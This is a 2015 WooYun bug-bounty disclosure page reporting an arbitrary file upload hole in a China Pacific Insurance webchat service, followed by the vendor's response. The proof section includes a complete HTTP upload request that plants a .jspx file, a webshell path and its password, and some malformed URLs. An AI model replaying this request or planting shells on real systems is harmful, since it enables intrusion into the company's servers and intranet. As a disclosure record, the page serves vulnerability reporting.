当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0149072

漏洞标题:太平洋保险某系统存在任意文件上传漏洞可威胁内网

相关厂商:太平洋保险

漏洞作者: 路人甲

提交时间:2015-10-24 10:14

修复时间:2015-12-11 09:48

公开时间:2015-12-11 09:48

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-24: 细节已通知厂商并且等待厂商处理中
2015-10-27: 厂商已经确认,细节仅向厂商公开
2015-11-06: 细节向核心白帽子及相关领域专家公开
2015-11-16: 细节向普通白帽子公开
2015-11-26: 细节向实习白帽子公开
2015-12-11: 细节向公众公开

简要描述:

任意文件上传漏洞可威胁内网,求高rank

详细说明:

http://webchat.cpic.com.cn:9090

QQ截图20151023201357.jpg


问题页面

http://webchat.cpic.com.cn:9090/webcall_chat/leaveMessage.jsp


QQ截图20151024095609.jpg


上传附件处可直接上传shell文件

漏洞证明:

POST http://webchat.cpic.com.cn:9090/webcall_chat/leaveMessage.jsp HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://webchat.cpic.com.cn:9090/webcall_chat/leaveMessage.jsp
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Type: multipart/form-data; boundary=---------------------------7df3a738102ba
Accept-Encoding: gzip, deflate
Host: webchat.cpic.com.cn:9090
Content-Length: 5889
Connection: Keep-Alive
Pragma: no-cache
Cookie: XSESSIONID=1fpvw6plygjlt
-----------------------------7df3a738102ba
Content-Disposition: form-data; name="save"
save
-----------------------------7df3a738102ba
Content-Disposition: form-data; name="userUri"
-----------------------------7df3a738102ba
Content-Disposition: form-data; name="seatid"
-----------------------------7df3a738102ba
Content-Disposition: form-data; name="seattype"
0
-----------------------------7df3a738102ba
Content-Disposition: form-data; name="signId"
-----------------------------7df3a738102ba
Content-Disposition: form-data; name="seatAlignUri"
null
-----------------------------7df3a738102ba
Content-Disposition: form-data; name="messageid"
-----------------------------7df3a738102ba
Content-Disposition: form-data; name="messageType"
1
-----------------------------7df3a738102ba
Content-Disposition: form-data; name="chatId"
-----------------------------7df3a738102ba
Content-Disposition: form-data; name="userName"
王婆婆
-----------------------------7df3a738102ba
Content-Disposition: form-data; name="phone1"
13888888888
-----------------------------7df3a738102ba
Content-Disposition: form-data; name="phone1"
-----------------------------7df3a738102ba
Content-Disposition: form-data; name="phone"
13888888888
-----------------------------7df3a738102ba
Content-Disposition: form-data; name="email"
-----------------------------7df3a738102ba
Content-Disposition: form-data; name="revertTypes"
电话
-----------------------------7df3a738102ba
Content-Disposition: form-data; name="revertType"
电话
-----------------------------7df3a738102ba
Content-Disposition: form-data; name="memo"
王婆婆
-----------------------------7df3a738102ba
Content-Disposition: form-data; name="file1"; filename="wooy.jspx"
Content-Type: image/pjpeg
test
-----------------------------7df3a738102ba--


上传后的路径在http://webchat.cpic.com.cn:9090https://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/message/wooy.jspx
一句话地址:http://webchat.cpic.com.cn:9090https://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/message/wooyun.jspx
密码:wpp

QQ截图20151024100117.jpg


QQ截图20151024100157.jpg


可威胁内网

QQ截图20151024100241.jpg


QQ截图20151024100316.jpg


QQ截图20151024100437.jpg

修复方案:

上传点过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-10-27 09:47

厂商回复:

感谢白帽子对我公司安全支持。鉴于发生问题网页无法从登陆页面及其他页面找到,且白帽子也没有提供问题网页发现方法,且上传服务器会定期杀马,提供的一句话已失效,综合考虑给予10rank的评价。

最新状态:

暂无


漏洞评价:

评论